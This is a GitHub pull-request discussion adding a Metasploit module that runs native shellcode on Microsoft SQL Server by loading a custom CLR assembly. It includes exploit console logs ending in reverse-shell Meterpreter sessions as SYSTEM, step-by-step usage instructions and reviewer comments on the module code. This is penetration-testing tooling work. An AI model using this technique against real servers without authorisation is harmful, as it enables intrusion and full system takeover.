Add new MS SQL Code Execution module #7942

Merged
merged 3 commits into from Feb 17, 2017

Conversation

Projects
None yet
6 participants
@OJ
Contributor

OJ commented Feb 10, 2017

This PR adds a new module that allows for code execution inside MS SQL Server. The module is based on the work that was done by @leechristensen and @sekirkity as documented here.

The new module requires SQL credentials for a user with sufficient privileges to:

  • Enable CLR support (if not already enabled).
  • Enabled TRUSTWORTHY (if not already enabled).
  • Add an assembly to the server.
  • Create a new stored procedure.

The module does all of the above, as required. It uploads a .NET Assembly (pre-built, and stored in the data folder) which is selected based on the version of the DB in question. This is a shim that exposes a function that allows for a base64-encoded payload to be executed as native shellcode. This function is exposed as a stored proc, which can be called directly through an SQL query with the base64 encoded shellcode.

This module was tested on SQL 2005, 2012 and 2016 (all x64 versions). I haven't tested on x86 yet. there is code in the module that makes sure that the target architecture matches the payload that was chosen.

This code also includes command-line builds for the assembly that is used to provide the code execution function, and can be built in the same way that all the other exploits are built (from a Visual studio command line).

Sample Runs:

MS SQL 2005:

msf exploit(mssql_clr_payload) > exploit

[*] [2017.02.10-12:56:15] Started reverse TCP handler on 172.16.255.1:4444
[!] [2017.02.10-12:56:15] 172.16.255.130:1433 - Setting EXITFUNC to 'thread' so we don't kill SQL Server
[*] [2017.02.10-12:56:15] 172.16.255.130:1433 - Database does not have TRUSTWORTHY setting on, enabling ...
[*] [2017.02.10-12:56:15] 172.16.255.130:1433 - Database does not have CLR support enabled, enabling ...
[*] [2017.02.10-12:56:15] 172.16.255.130:1433 - Using version v3.5 of the Payload Assembly
[*] [2017.02.10-12:56:15] 172.16.255.130:1433 - Adding custom payload assembly ...
[*] [2017.02.10-12:56:15] 172.16.255.130:1433 - Exposing payload execution stored procedure ...
[*] [2017.02.10-12:56:15] 172.16.255.130:1433 - Executing the payload ...
[*] [2017.02.10-12:56:16] 172.16.255.130:1433 - Removing stored procedure ...
[*] [2017.02.10-12:56:16] 172.16.255.130:1433 - Removing assembly ...
[*] [2017.02.10-12:56:16] Sending stage (1189423 bytes) to 172.16.255.130
[*] [2017.02.10-12:56:16] 172.16.255.130:1433 - Restoring CLR setting ...
[*] [2017.02.10-12:56:16] 172.16.255.130:1433 - Restoring Trustworthy setting ...
[*] Meterpreter session 10 opened (172.16.255.1:4444 -> 172.16.255.130:49168) at 2017-02-10 12:56:18 +1000

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN-8CT6HVI5D6J
OS              : Windows 2008 R2 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows

MS SQL 2016

msf exploit(mssql_clr_payload) > exploit

[*] [2017.02.10-12:55:58] Started reverse TCP handler on 172.16.255.1:4444
[!] [2017.02.10-12:55:58] 172.16.255.129:1433 - Setting EXITFUNC to 'thread' so we don't kill SQL Server
[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Database does not have TRUSTWORTHY setting on, enabling ...
[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Database does not have CLR support enabled, enabling ...
[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Using version v4.0 of the Payload Assembly
[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Adding custom payload assembly ...
[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Exposing payload execution stored procedure ...
[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Executing the payload ...
[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Removing stored procedure ...
[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Removing assembly ...
[*] [2017.02.10-12:55:58] Sending stage (1189423 bytes) to 172.16.255.129
[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Restoring CLR setting ...
[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Restoring Trustworthy setting ...
[*] Meterpreter session 9 opened (172.16.255.1:4444 -> 172.16.255.129:49732) at 2017-02-10 12:56:00 +1000

meterpreter > getuid
Server username: NT Service\MSSQLSERVER
meterpreter > sysinfo
Computer        : WIN-7QEE7C4D0GF
OS              : Windows 2016 (Build 14393).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows

Verification

  • Somehow get access to one or more SQL server versions, best to test with the sa user.
  • Start msfconsole
  • use exploit/windows/mssql/mssql_clr_payload
  • Set the payload and options as required (including credentials).
  • Verify that EXITFUNC is automatically set to thread so that SQL Server isn't terminated.
  • Verify that when you mix architectures, the module stops with an error.
  • Verify That all options that are enabled to make the exploit work are disabled after.
  • Verify That the session works, and is running under the context of the SQL user.
  • Verify That SQL Server doesn't die/crash/burn.

Thanks

Thanks again to Lee and Nathan for their work.

OJ added some commits Feb 10, 2017

@OJ OJ added the module label Feb 10, 2017

@OJ

This comment has been minimized.

Show comment
Hide comment
@OJ

OJ Feb 14, 2017

Contributor

I have the DATABASE listed as a parameter, but I haven't used it. I tried to incorporate it into the query, but that didn't work.

I might need to adjust the SQL mixin so that a DB can be specified.

Contributor

OJ commented Feb 14, 2017

I have the DATABASE listed as a parameter, but I haven't used it. I tried to incorporate it into the query, but that didn't work.

I might need to adjust the SQL mixin so that a DB can be specified.

+ end
+
+ def set_trustworthy(on)
+ mssql_query("ALTER DATABASE [#{datastore['DATABASE']}] SET TRUSTWORTHY #{on ? 'ON' : 'OFF'}", false)

This comment has been minimized.

@FireFart

FireFart Feb 14, 2017

Contributor

@OJ you can use db_name() after logging in so you don't have SQLi :)

@FireFart

FireFart Feb 14, 2017

Contributor

@OJ you can use db_name() after logging in so you don't have SQLi :)

This comment has been minimized.

@OJ

OJ Feb 14, 2017

Contributor

Aye, true I could indeed. I may change it.

But, let's be honest, given that we're the ones doing the breaking, injection here isn't really a concern :D

@OJ

OJ Feb 14, 2017

Contributor

Aye, true I could indeed. I may change it.

But, let's be honest, given that we're the ones doing the breaking, injection here isn't really a concern :D

This comment has been minimized.

@egypt

egypt Feb 14, 2017

Contributor

Seems like db_name() would reduce the burden on the user to know stuff about the victim. Is there a particular need for this to be a user option?

@egypt

egypt Feb 14, 2017

Contributor

Seems like db_name() would reduce the burden on the user to know stuff about the victim. Is there a particular need for this to be a user option?

This comment has been minimized.

@wvu-r7

wvu-r7 Feb 14, 2017

Contributor

why_not_both.jpg

@wvu-r7

wvu-r7 Feb 14, 2017

Contributor

why_not_both.jpg

This comment has been minimized.

@FireFart

FireFart Feb 14, 2017

Contributor

@egypt you need the DATABASE for the login so the user has to know it. But it defaults to master anyway

@FireFart

FireFart Feb 14, 2017

Contributor

@egypt you need the DATABASE for the login so the user has to know it. But it defaults to master anyway

This comment has been minimized.

@OJ

OJ Feb 14, 2017

Contributor

The default DB for the given user might not be the one they have adequate permissions to. master is indeed the default, but apparently others are options as well. I went with "sane default with ability to override".

@OJ

OJ Feb 14, 2017

Contributor

The default DB for the given user might not be the one they have adequate permissions to. master is indeed the default, but apparently others are options as well. I went with "sane default with ability to override".

@FireFart

This comment has been minimized.

Show comment
Hide comment
@FireFart

FireFart Feb 14, 2017

Contributor

@OJ just tested it at work on some servers. Awesome module, works as intended :)

Contributor

FireFart commented Feb 14, 2017

@OJ just tested it at work on some servers. Awesome module, works as intended :)

@OJ

This comment has been minimized.

Show comment
Hide comment
@OJ

OJ Feb 14, 2017

Contributor

Thanks @FireFart !

Contributor

OJ commented Feb 14, 2017

Thanks @FireFart !

@busterb busterb self-assigned this Feb 17, 2017

@busterb

This comment has been minimized.

Show comment
Hide comment
@busterb

busterb Feb 17, 2017

Contributor

This looks ready to merge. Thanks for all of the reviews folks! Just writing some module docs, since it would be a shame to lose this great info in the PR.

Docs in 014fe25

Contributor

busterb commented Feb 17, 2017

This looks ready to merge. Thanks for all of the reviews folks! Just writing some module docs, since it would be a shame to lose this great info in the PR.

Docs in 014fe25

@busterb busterb merged commit ec316bf into rapid7:master Feb 17, 2017

1 check passed

continuous-integration/travis-ci/pr The Travis CI build passed
Details

busterb pushed a commit that referenced this pull request Feb 17, 2017

@busterb

This comment has been minimized.

Show comment
Hide comment
@busterb

busterb Feb 17, 2017

Contributor

Release Notes

The MSSQL Code Execution module has been added. It can execute an arbitrary native payload on a Microsoft SQL server. It works by loading a custom SQL CLR Assembly into the target SQL installation. The module requires working credentials in order to connect directly to the MSSQL Server. This exploit does not leave any binaries on disk. It was tested on MSSQL Server versions: 2005, 2012, 2016 (all x64).

Contributor

busterb commented Feb 17, 2017

Release Notes

The MSSQL Code Execution module has been added. It can execute an arbitrary native payload on a Microsoft SQL server. It works by loading a custom SQL CLR Assembly into the target SQL installation. The module requires working credentials in order to connect directly to the MSSQL Server. This exploit does not leave any binaries on disk. It was tested on MSSQL Server versions: 2005, 2012, 2016 (all x64).

@tdoan-r7 tdoan-r7 added the rn-exploit label Feb 21, 2017

@OJ

This comment has been minimized.

Show comment
Hide comment
@OJ

OJ Feb 22, 2017

Contributor

ooh! I didn't realise this got merged. Thank you @bcook-r7 :)

Contributor

OJ commented Feb 22, 2017

ooh! I didn't realise this got merged. Thank you @bcook-r7 :)

@OJ OJ deleted the OJ:mssql-clr-payload branch Feb 22, 2017

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment